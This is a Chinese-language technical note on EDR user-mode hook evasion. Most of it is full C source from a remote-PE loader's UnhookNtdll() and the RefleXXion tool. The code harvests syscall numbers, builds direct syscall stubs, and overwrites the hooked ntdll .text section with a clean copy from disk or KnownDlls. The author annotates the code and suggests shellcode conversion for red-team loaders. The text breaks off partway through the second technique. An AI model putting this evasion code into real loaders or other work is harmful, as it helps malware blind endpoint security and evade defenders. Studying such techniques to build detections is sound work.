unhook

总结unhook 可以参考那个远程加载PE 还有RefleXXion-main

https://bafybeig57rf7bmgmqokxw4uddq4pca5axeag52aibrmdywrgr74papvxxi.ipfs.cthd.icu/p/page-11532.html

https://github.com/7BitsTeam/EDR-Bypass-demo

先看一下远程加载PE

UnhookNtdll()找到新加载的ntdll.dll副本的.text段,并复制挂起的一个

为写权限准备ntdll.dll内存区域。

将原始的.text部分复制到NTDLL内存中

恢复NTDLL的原始保护设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pMapping) {
/*
UnhookNtdll() finds .text segment of fresh loaded copy of ntdll.dll and copies over the hooked one
UnhookNtdll()找到新加载的ntdll.dll副本的.text段,并复制挂起的一个
*/
DWORD oldprotect = 0;
PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)pMapping;
PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD_PTR)pMapping + pidh->e_lfanew);
int i;


// find .text section
for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pinh) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

if (!strcmp((char*)pish->Name, ".text")) {
// prepare ntdll.dll memory region for write permissions.
// 为写权限准备ntdll.dll内存区域。
VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pish->VirtualAddress), pish->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect);
if (!oldprotect) {
// RWX failed!
return -1;
}
// copy original .text section into ntdll memory
memcpy((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pish->VirtualAddress), (LPVOID)((DWORD_PTR)pMapping + (DWORD_PTR)pish->VirtualAddress), pish->Misc.VirtualSize);

// restore original protection settings of ntdll
VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pish->VirtualAddress), pish->Misc.VirtualSize, oldprotect, &oldprotect);
if (!oldprotect) {
// it failed
return -1;
}
// all is good, time to go home
return 0;
}
}
// .text section not found?
return -1;
}

RefleXXion

它首先收集ldrptrunksignature数组中找到的NtOpenFile、NtCreateSection、NtOpenSection和NtMapViewOfSection的系统调用号。在此之后,用户可以选择两种技术来绕过用户模式钩子。

技术-1,从’ C:\Windows\System32\ NTDLL .dll ‘中读取NTDLL作为文件。解析之后,内存中已经加载的NTDLL(钩子在这里执行)的. text部分被替换为干净的NTDLL的. text部分。

在技术2中,NTDLL读取为knowndlls的Section\knowndls\NTDLL.dll。(因为DLL文件作为Section缓存在knownddll中。)解析之后,内存中已经加载的NTDLL(钩子在这里执行)的. text部分被替换为干净的NTDLL的.text部分。

==RefleXXion只解钩NTDLL函数,你可能需要解钩其他dll (kernel32.dll, advapi32.dll等)。为此,您可以轻松地编辑项目中必要的位置。==

*注:

1
2
3
4
5
6
RefleXXion在干净安装的NTDLL上调用NtProtectVirtualMemory API。它为此使用CustomGetProcAddress函数,因为干净的NTDLL并不在InLoadOrderModuleList中,即使它被加载到内存中。所以像这里(https://stackoverflow.com/questions/6734095/how-to-get-module-handle-from-func-ptr-in-win32)这样的解决方案是行不通的。这就是为什么存在并使用自定义GetProcAddress函数。*的原因
所以通过这篇文章https://revers.engineering/custom-getprocaddress-and-getmodulehandle-implementation-x64/使用自定义的CustomGetProcAddress函数

*你可以从磁盘加载RefleXXion DLL到目标进程。你可能不喜欢像红队这样的敏感工作。因此,您可以使用sRDI项目将RefleXXion DLL转换为shell代码,或者将RefleXXion代码集成到您自己的加载器或项目中。

*即使NTDLL(作为文件或章节)被重新加载到注入进程中,它也不会保持加载状态。RefleXXion为自己的进程关闭所有打开的句柄(文件和段句柄)。

flow

看看代码

先看看exe的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
#include <windows.h>
#include <psapi.h>

#include <stdio.h>

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )

#define MAX_SYSCALL_STUB_SIZE 64

#define OBJ_CASE_INSENSITIVE 0x40

#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}

typedef void* PRTL_USER_PROCESS_PARAMETERS;

typedef void* PPS_POST_PROCESS_INIT_ROUTINE;

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * RX_UNICODE_STRING;

typedef struct _PEB_LDR_DATA {
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * RX_PEB_LDR_DATA;

typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
RX_PEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, * RX_PEB;

typedef struct {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * RX_LDR_DATA_TABLE_ENTRY;

typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
RX_UNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE

} OBJECT_ATTRIBUTES, * RX_OBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * RX_IO_STATUS_BLOCK;

// NtOpenFile NtOpenFile 例程打开现有文件、目录、设备或卷。
typedef NTSYSAPI NTSTATUS(NTAPI* RX_NtOpenFile)(PHANDLE, ACCESS_MASK, RX_OBJECT_ATTRIBUTES, RX_IO_STATUS_BLOCK, ULONG, ULONG);

// NtCreateSection NtCreateSection 例程创建节对象。
typedef NTSTATUS(NTAPI* RX_NtCreateSection)(PHANDLE, ACCESS_MASK, RX_OBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE);

// NtOpenSection 打开内核对象
typedef NTSTATUS(NTAPI* RX_NtOpenSection)(HANDLE*, ACCESS_MASK, OBJECT_ATTRIBUTES*);

// NtMapViewOfSection MapViewOfSection 驱动注入 这是一个这样的实现 DLL 注射驱动程序 比如当 UnserMode 进程加载 UrlMon.dll 时,抢先加载自 己的 DLL(UrlMonEye.dll)
typedef NTSTATUS(NTAPI* RX_NtMapViewOfSection)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);

// NtProtectVirtualMemory 顾名思义
typedef NTSTATUS(NTAPI* _NtProtectVirtualMemory)(HANDLE, PVOID, PSIZE_T, ULONG, PULONG);

// NtUnmapViewOfSection 确实可以卸载指定进程指定位置的模块 但是在ring3下不稳定 最好在ring0
typedef NTSTATUS(NTAPI* _NtUnmapViewOfSection)(HANDLE, PVOID);

// RtlInitUnicodeString 初始化 Unicode 字符的计数字符串。
typedef VOID(NTAPI* _RtlInitUnicodeString)(RX_UNICODE_STRING, PCWSTR);

// Needed for Technique - 1 (Reading NTDLL From Disk) 技术一的时候用到了RXnetopenfile和Rxntcreatesection
RX_NtOpenFile RxNtOpenFile = NULL;
RX_NtCreateSection RxNtCreateSection = NULL;

// Needed for Technique - 2 (Reading NTDLL From KnownDlls) 技术二用到RxNtOpenSection
RX_NtOpenSection RxNtOpenSection = NULL;

// Needed for Both Technique - 1 and Technique - 2 两个都要的话
RX_NtMapViewOfSection RxNtMapViewOfSection = NULL;

ULONG_PTR BuildSyscallStub(ULONG_PTR pStubRegion, DWORD dwSyscallNo) {
//建立syscall存根
BYTE bSyscallStub[] = {
0x4c, 0x8b, 0xd1, // mov r10,rcx
0xb8, 0x00, 0x00, 0x00, 0x00, // mov eax,xxx
0x0f, 0x05, // syscall
0xc3 // ret
};

memcpy((PBYTE)pStubRegion, bSyscallStub, sizeof(bSyscallStub));
//内存拷贝
*(DWORD*)(pStubRegion + 4) = dwSyscallNo;

return pStubRegion;
}

BOOL InitSyscallsFromLdrpThunkSignature() {
// 函数名顾名思义就说获取到syscall存根。
printf("[*] Parsing(解析) LdrpThunkSignature For Clean Syscalls.\n\n");

RX_PEB pPEB = (RX_PEB)__readgsqword(0x60);
RX_PEB_LDR_DATA pPEBLdr = pPEB->Ldr;
RX_LDR_DATA_TABLE_ENTRY pLdeNTDLL = NULL;

for (RX_LDR_DATA_TABLE_ENTRY pLdeTmp = (RX_LDR_DATA_TABLE_ENTRY)pPEBLdr->InLoadOrderModuleList.Flink; pLdeTmp->DllBase != NULL; pLdeTmp = (RX_LDR_DATA_TABLE_ENTRY)pLdeTmp->InLoadOrderLinks.Flink) {
if (_wcsnicmp(pLdeTmp->BaseDllName.Buffer, L"ntdll.dll", 9) == 0) {
//wcsnicmp比较两个字符串中指定数目的字符(不考虑大小写)。
// We Detect NTDLL
//检测NTDLL
pLdeNTDLL = pLdeTmp;
break;
}
}

if (pLdeNTDLL == NULL) {
printf("[!] Cannot find NTDLL.\n");
return FALSE;
}

PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)pLdeNTDLL->DllBase + ((PIMAGE_DOS_HEADER)pLdeNTDLL->DllBase)->e_lfanew);
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader);

ULONG_PTR DataSectionAddress = NULL;
DWORD DataSectionSize;

for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++) {
if (!strcmp((char*)SectionHeader[i].Name, ".data")) {
DataSectionAddress = (ULONG_PTR)pLdeNTDLL->DllBase + SectionHeader[i].VirtualAddress;
DataSectionSize = SectionHeader[i].Misc.VirtualSize;
break;
}
}

if (!DataSectionAddress || DataSectionSize < 16 * 5) {
return FALSE;
}

// NtOpenFile Syscall Number
DWORD dwNtOpenFile = 0;

// NtCreateSection Syscall Number
DWORD dwNtCreateSection = 0;

// NtOpenSection Syscall Number
DWORD dwNtOpenSection = 0;

// NtMapViewOfSection Syscall Number
DWORD dwNtMapViewOfSection = 0;


for (UINT uiOffset = 0; uiOffset < DataSectionSize - (16 * 5); uiOffset++) {
if (*(DWORD*)(DataSectionAddress + uiOffset) == 0xb8d18b4c &&
*(DWORD*)(DataSectionAddress + uiOffset + 16) == 0xb8d18b4c &&
*(DWORD*)(DataSectionAddress + uiOffset + 32) == 0xb8d18b4c &&
*(DWORD*)(DataSectionAddress + uiOffset + 48) == 0xb8d18b4c &&
*(DWORD*)(DataSectionAddress + uiOffset + 64) == 0xb8d18b4c) {

dwNtOpenFile = *(DWORD*)(DataSectionAddress + uiOffset + 4); // Needed for Technique - 1 (Reading NTDLL From Disk)

dwNtCreateSection = *(DWORD*)(DataSectionAddress + uiOffset + 16 + 4); // Needed for Technique - 1 (Reading NTDLL From Disk)

dwNtOpenSection = *(DWORD*)(DataSectionAddress + uiOffset + 48 + 4); // Needed for Technique - 2 (Reading NTDLL From KnownDlls)

dwNtMapViewOfSection = *(DWORD*)(DataSectionAddress + uiOffset + 64 + 4); // Needed for Both Technique - 1 and Technique - 2

break;
}
}

// A little check to see if we have successfully parsed syscall numbers
//判断解析调用数据是否成功

if (!dwNtMapViewOfSection) {

return FALSE;

}

printf("[*] NtOpenFile syscall number..............: %02x\n", dwNtOpenFile);

printf("[*] NtCreateSection syscall number.........: %02x\n", dwNtCreateSection);

printf("[*] NtOpenSection syscall number...........: %02x\n", dwNtOpenSection);

printf("[*] NtMapViewOfSection syscall number......: %02x\n\n", dwNtMapViewOfSection);

// Create RX memory region for syscalls stub
ULONG_PTR pSyscallRegion = (ULONG_PTR)VirtualAlloc(NULL, 4 * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

if (!pSyscallRegion) {

printf("[!] Cannot allocate memory for syscals stubs.\n");

return FALSE;

}

// Create NtOpenFile clean syscall memory region with stub
// 使用存根创建NtOpenFile清空系统调用内存区域
RxNtOpenFile = (RX_NtOpenFile)BuildSyscallStub(pSyscallRegion, dwNtOpenFile);

// Create NtCreateSection clean syscall memory region with stub
RxNtCreateSection = (RX_NtCreateSection)BuildSyscallStub(pSyscallRegion + MAX_SYSCALL_STUB_SIZE, dwNtCreateSection);

// Create NtOpenSection clean syscall memory region with stub
RxNtOpenSection = (RX_NtOpenSection)BuildSyscallStub(pSyscallRegion + (2 * MAX_SYSCALL_STUB_SIZE), dwNtOpenSection);

// Create NtMapViewOfSection clean syscall memory region with stub
RxNtMapViewOfSection = (RX_NtMapViewOfSection)BuildSyscallStub(pSyscallRegion + (3 * MAX_SYSCALL_STUB_SIZE), dwNtMapViewOfSection);

// Modify the syscall memory region to RX 将系统调用内存区域修改为RX
DWORD dwOldProtection;
BOOL bStatus = VirtualProtect((LPVOID)pSyscallRegion, 4 * MAX_SYSCALL_STUB_SIZE, PAGE_EXECUTE_READ, &dwOldProtection);

return TRUE;
}

// Custom x64 GetProcAddress Implementation for NtProtectVirtualMemory executions from https://revers.engineering/custom-getprocaddress-and-getmodulehandle-implementation-x64/
// 执行NtProtectVirtualMemory的自定义x64 GetProcAddress实现 从 https://revers.engineering/custom-getprocaddress-and-getmodulehandle-implementation-x64/
// 完全复制过来的欸 所以能找出这个东西的这个技术也是特别的牛逼
uintptr_t CustomGetProcAddress(void* hModule, const char* wAPIName) {

unsigned char* lpBase = (unsigned char*)(hModule);

PIMAGE_DOS_HEADER idhDosHeader = (PIMAGE_DOS_HEADER)(lpBase);

if (idhDosHeader->e_magic == 0x5A4D) {

PIMAGE_NT_HEADERS inhNtHeader = (PIMAGE_NT_HEADERS)(lpBase + idhDosHeader->e_lfanew);

if (inhNtHeader->Signature == 0x4550) {

PIMAGE_EXPORT_DIRECTORY iedExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(lpBase + inhNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

for (register unsigned int uiIter = 0; uiIter < iedExportDirectory->NumberOfNames; ++uiIter) {

char* szNames = reinterpret_cast<char*>(lpBase + reinterpret_cast<unsigned long*>(lpBase + iedExportDirectory->AddressOfNames)[uiIter]);

if (strcmp(szNames, wAPIName) == 0) {

unsigned short usOrdinal = reinterpret_cast<unsigned short*>(lpBase + iedExportDirectory->AddressOfNameOrdinals)[uiIter];

return (uintptr_t)(lpBase + reinterpret_cast<unsigned long*>(lpBase + iedExportDirectory->AddressOfFunctions)[usOrdinal]);

}

}

}

}

return NULL;
}

// Technique - 1
// Reads NTDLL From Disk and Clean
// 从磁盘中获取NTDLL
BOOL Technique1() {

printf("[*] Using Technique-1, Reads NTDLL From Disk and Clean.\n\n");

NTSTATUS ntStatus;

// Get handle to loaded/hooked NTDLL
HMODULE hHookedNtdll = GetModuleHandleA("ntdll.dll");

if (hHookedNtdll == NULL) {
printf("[-] GetModuleHandleA error: %d\n", GetLastError());
return FALSE;
}

OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; //ObjectAttributes 对象属性
UNICODE_STRING ObjectPath = { 0 }; // 对象地址
IO_STATUS_BLOCK IoStatusBlock = { 0 }; // IO_STATUS_BLOCK是请求被处理的状态 IO流
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hHookedNtdll, "RtlInitUnicodeString");
if (RtlInitUnicodeString == NULL) {
return FALSE;
}
RtlInitUnicodeString(&ObjectPath, L"\\??\\C:\\Windows\\System32\\ntdll.dll");

InitializeObjectAttributes(&ObjectAttributes, &ObjectPath, OBJ_CASE_INSENSITIVE, NULL, NULL); //初始化对象属性

HANDLE hFile = NULL;

ntStatus = RxNtOpenFile(&hFile, FILE_READ_DATA | GENERIC_READ, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_READ, NULL);

if (!NT_SUCCESS(ntStatus)) {
printf("[-] NtOpenFile error.\n");
CloseHandle(hFile);
return FALSE;
}

printf("[*] Clean NTDLL Handle Address.............: 0x%p\n", hFile);

HANDLE hSection = NULL;

ntStatus = RxNtCreateSection(&hSection, STANDARD_RIGHTS_REQUIRED | SECTION_MAP_READ | SECTION_QUERY, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);

if (!NT_SUCCESS(ntStatus)) {
printf("[-] NtCreateSection error.\n");
CloseHandle(hSection);
return FALSE;
}

printf("[*] Clean Section Handle Address...........: 0x%p\n\n", hSection);

LPVOID pCleanNtdll = NULL;
SIZE_T sztViewSize = 0;

ntStatus = RxNtMapViewOfSection(hSection, NtCurrentProcess(), &pCleanNtdll, NULL, NULL, NULL, &sztViewSize, 1, 0, PAGE_READONLY);

if (!NT_SUCCESS(ntStatus)) {
printf("[-] NtMapViewOfSection error.\n");
CloseHandle(hSection);
return FALSE;
}

printf("[*] Clean NTDLL Base Address...............: 0x%p\n", pCleanNtdll);

MODULEINFO miHookedNtdll = {};

if (GetModuleInformation(NtCurrentProcess(), hHookedNtdll, &miHookedNtdll, sizeof(miHookedNtdll)) == 0) {
printf("[-] GetModuleInformation error: %d\n", GetLastError());
return FALSE;
}

// Get base address of hooked NTDLL from MODULEINFO struct
LPVOID pHookedBaseAddress = (LPVOID)miHookedNtdll.lpBaseOfDll;
printf("[*] Hooked NTDLL Base Address..............: 0x%p\n\n", pHookedBaseAddress);

// Get hooked NTDLL DOS header DOS Header===DOS MZ头大小 + Dos sub(DOS代码块大小)
PIMAGE_DOS_HEADER pHookedDosHeader = (PIMAGE_DOS_HEADER)pHookedBaseAddress;

// Get hooked NTDLL NT header
PIMAGE_NT_HEADERS pHookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pHookedBaseAddress + pHookedDosHeader->e_lfanew);

for (SIZE_T i = 0; i < pHookedNtHeader->FileHeader.NumberOfSections; i++) {

// Get PE section header
PIMAGE_SECTION_HEADER pHookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pHookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

// Get section name
LPSTR szHookedSectionName = (LPSTR)pHookedSectionHeader->Name;

// We found .TEXT section
if (!strcmp(szHookedSectionName, ".text")) {
//strcmp函数是string compare(字符串比较)的缩写,用于比较两个字符串并根据比较结果返回整数

// Get start address of hooked .TEXT section
LPVOID pHookedTextSectionAddress = (LPVOID)((DWORD_PTR)pHookedBaseAddress + (DWORD_PTR)pHookedSectionHeader->VirtualAddress);

// Get start address of clean .TEXT section
LPVOID pCleanTextStartAddress = (LPVOID)((DWORD_PTR)pCleanNtdll + (DWORD_PTR)pHookedSectionHeader->VirtualAddress);

// Get size of .TEXT section
SIZE_T sztTextSectionSize = pHookedSectionHeader->Misc.VirtualSize;

printf("[*] Hooked NTDLL .TEXT Section VA..........: 0x%p\n", pHookedTextSectionAddress);
printf("[*] Clean NTDLL .TEXT Section VA...........: 0x%p\n\n", pCleanTextStartAddress);
printf("[*] Size of .TEXT Section..................: %zd\n", sztTextSectionSize);

// Change original page protection of hooked NTDLL to RWX
LPVOID lpBaseAddress = pHookedTextSectionAddress;
SIZE_T uSize = sztTextSectionSize;

_NtProtectVirtualMemory NtProtectVirtualMemory = (_NtProtectVirtualMemory)CustomGetProcAddress(pCleanNtdll, "NtProtectVirtualMemory");

ULONG oldProtection;
ntStatus = NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &oldProtection);

if (!NT_SUCCESS(ntStatus)) {
printf("[-] NtProtectVirtualMemory - 1: Error.\n");
return FALSE;
}

// Copy .TEXT section of clean NTDLL into hooked NTDLL .TEXT section
// 将清理的NTDLL的.TEXT部分复制到挂钩的NTDLL .TEXT部分
memcpy(pHookedTextSectionAddress, pCleanTextStartAddress, sztTextSectionSize);

// Revert back to original page protections of overwritten NTDLL .TEXT section
// 恢复到覆盖的NTDLL .TEXT部分的原始页保护
ntStatus = NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, oldProtection, &oldProtection);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] NtProtectVirtualMemory - 2: Error.\n");
return FALSE;
}

printf("\n[+] NTDLL is cleaned. Closing handles...\n\n");

break;

}

}

// Unmap the local section
// 取消本地区段的映射
_NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)GetProcAddress(hHookedNtdll, "NtUnmapViewOfSection");
ntStatus = NtUnmapViewOfSection(NtCurrentProcess(), pCleanNtdll);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] NtUnmapViewOfSection error: %X\n", ntStatus);
return FALSE;
}

// Close NTDLL section handle
CloseHandle(hSection);

// Close NTDLL disk handle
CloseHandle(hFile);

printf("[+] All done.\n");

return TRUE;

}

// Technique - 2
// Reads NTDLL From KnownDlls and Clean
BOOL Technique2() {

printf("[*] Using Technique-2, Reads NTDLL From KnownDlls and Clean.\n\n");

NTSTATUS ntStatus;

// Get handle to loaded/hooked NTDLL
HMODULE hHookedNtdll = GetModuleHandleA("ntdll.dll");

if (hHookedNtdll == NULL) {
printf("[-] GetModuleHandleA error: %d\n", GetLastError());
return FALSE;
}

OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
UNICODE_STRING ObjectPath = { 0 };
IO_STATUS_BLOCK IoStatusBlock = { 0 };
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hHookedNtdll, "RtlInitUnicodeString");
if (RtlInitUnicodeString == NULL) {
return FALSE;
}
RtlInitUnicodeString(&ObjectPath, L"\\KnownDlls\\ntdll.dll");

InitializeObjectAttributes(&ObjectAttributes, &ObjectPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

HANDLE hKnownDll = NULL;

ntStatus = RxNtOpenSection(&hKnownDll, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &ObjectAttributes);
// 前面都一样 到这里的opensection才不一样

if (!NT_SUCCESS(ntStatus)) {
printf("[-] NtOpenSection error.\n");
CloseHandle(hKnownDll);
return FALSE;
}

printf("[*] Clean Section Handle Address...........: 0x%p\n\n", hKnownDll);

LPVOID pCleanNtdll = NULL;
SIZE_T sztViewSize = 0;

ntStatus = RxNtMapViewOfSection(hKnownDll, NtCurrentProcess(), &pCleanNtdll, NULL, NULL, NULL, &sztViewSize, 1, 0, PAGE_READONLY);
//一样的
if (!NT_SUCCESS(ntStatus)) {
printf("[-] NtMapViewOfSection error.\n");
CloseHandle(hKnownDll);
return FALSE;
}

printf("[*] Clean NTDLL Base Address...............: 0x%p\n", pCleanNtdll);

MODULEINFO miHookedNtdll = {};

if (GetModuleInformation(NtCurrentProcess(), hHookedNtdll, &miHookedNtdll, sizeof(miHookedNtdll)) == 0) {
printf("[-] GetModuleInformation error: %d\n", GetLastError());
return FALSE;
}

// Get base address of hooked NTDLL from MODULEINFO struct
LPVOID pHookedBaseAddress = (LPVOID)miHookedNtdll.lpBaseOfDll;
printf("[*] Hooked NTDLL Base Address..............: 0x%p\n\n", pHookedBaseAddress);

// Get hooked NTDLL DOS header
PIMAGE_DOS_HEADER pHookedDosHeader = (PIMAGE_DOS_HEADER)pHookedBaseAddress;

// Get hooked NTDLL NT header
PIMAGE_NT_HEADERS pHookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pHookedBaseAddress + pHookedDosHeader->e_lfanew);

for (SIZE_T i = 0; i < pHookedNtHeader->FileHeader.NumberOfSections; i++) {

// Get PE section header
PIMAGE_SECTION_HEADER pHookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pHookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

// Get section name
LPSTR szHookedSectionName = (LPSTR)pHookedSectionHeader->Name;

// We found .TEXT section
if (!strcmp(szHookedSectionName, ".text")) {

// Get start address of hooked .TEXT section
LPVOID pHookedTextSectionAddress = (LPVOID)((DWORD_PTR)pHookedBaseAddress + (DWORD_PTR)pHookedSectionHeader->VirtualAddress);

// Get start address of clean .TEXT section
LPVOID pCleanTextStartAddress = (LPVOID)((DWORD_PTR)pCleanNtdll + (DWORD_PTR)pHookedSectionHeader->VirtualAddress);

// Get size of .TEXT section
SIZE_T sztTextSectionSize = pHookedSectionHeader->Misc.VirtualSize;

printf("[*] Hooked NTDLL .TEXT Section VA..........: 0x%p\n", pHookedTextSectionAddress);
printf("[*] Clean NTDLL .TEXT Section VA...........: 0x%p\n\n", pCleanTextStartAddress);
printf("[*] Size of .TEXT Section..................: %zd\n", sztTextSectionSize);

// Change original page protection of hooked NTDLL to RWX
LPVOID lpBaseAddress = pHookedTextSectionAddress;
SIZE_T uSize = sztTextSectionSize;

_NtProtectVirtualMemory NtProtectVirtualMemory = (_NtProtectVirtualMemory)CustomGetProcAddress(pCleanNtdll, "NtProtectVirtualMemory");

ULONG oldProtection;
ntStatus = NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &oldProtection);

if (!NT_SUCCESS(ntStatus)) {
printf("[-] NtProtectVirtualMemory - 1: Error.\n");
return FALSE;
}

// Copy .TEXT section of clean NTDLL into hooked NTDLL .TEXT section
memcpy(pHookedTextSectionAddress, pCleanTextStartAddress, sztTextSectionSize);

// Revert back to original page protections of overwritten NTDLL .TEXT section
ntStatus = NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, oldProtection, &oldProtection);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] NtProtectVirtualMemory - 2: Error.\n");
return FALSE;
}

printf("\n[+] NTDLL is cleaned. Closing handles...\n\n");

break;

}

}

// Unmap the local section
_NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)GetProcAddress(hHookedNtdll, "NtUnmapViewOfSection");
